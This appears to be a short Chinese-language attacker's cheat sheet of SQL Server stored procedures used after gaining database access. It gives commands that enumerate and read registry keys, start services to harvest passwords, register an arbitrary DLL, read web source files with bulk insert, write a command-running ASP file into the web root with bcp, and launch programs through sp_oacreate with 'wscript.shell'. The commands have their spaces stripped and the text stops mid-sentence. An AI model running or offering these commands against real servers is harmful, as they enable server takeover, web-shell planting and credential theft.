一些sql扩展
xp_regaddmultistring
xp_regdeletekey删除键名
xp_regdeletevalue删除键值
xp_regenumkeys枚举
xp_regenumvalues
xp_regread对于
xp_regremovemultistring
xp_regwrite写
xp_availablemedia查看驱动器
xp_dirtree看目录
xp_enumdsnODBC数据源
xp_loginconfig一些服务器安全配置的信息
xp_makecab打包,某些dbo权限先可做大用
xp_ntsec_enumdomains枚举域名相关信息
xp_terminate_process终端进程和ip啦
xp_logininfo当前登录帐号
sp_configure检索数据库中的内容(我觉得这个挺有用的)
sp_helpextendedproc得到所有的存储扩展
sp_who2查询用户,他们登录的主机,他们在数据库中执行的操作等等
一些网络信息
execxp_regreadHKEY_LOCAL_MACHINE,
'SYSTEM/CurrentControlSet/Services/lanmanserver/parameters',
'nullsessionshares'
SNMP辅助网络踩点
execxp_regenumvaluesHKEY_LOCAL_MACHINE,
'SYSTEM/CurrentControlSet/Services/snmp/parameters/validcomm
unities'
开始一些系统服务,比如telnet,前提希望可以跑来admin或者一些系统密码
execmaster..xp_servicecontrol'start','schedule'
execmaster..xp_servicecontrol'start','server'
Sp_addextendedproc'xp_webserver','c:/temp/xp_foo.dll'此扩展可以运行程序
使用'bulkinsert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:
createtablefoo(linevarchar(8000))
然后执行bulkinsert操作把文件中的数据插入到表中,如:
bulkinsertfoofrom'c:/inetpub/wwwroot/admin/inc.asp'
bcp"select*fromtext..foo"queryoutc:/inetpub/wwwroot/runcommand.asp–c-Slocalhost–Usa–Pfoobar
'S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,这里为'foobar'
SQLSERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情
使用'wscript.shell'对象建立了一个记事本的实例:
declare@oint
execsp_oacreate'wscript.shell',@oout
execsp_oamethod@o,'run',NULL,'notepad.exe'
指定在用户名后面来执行它: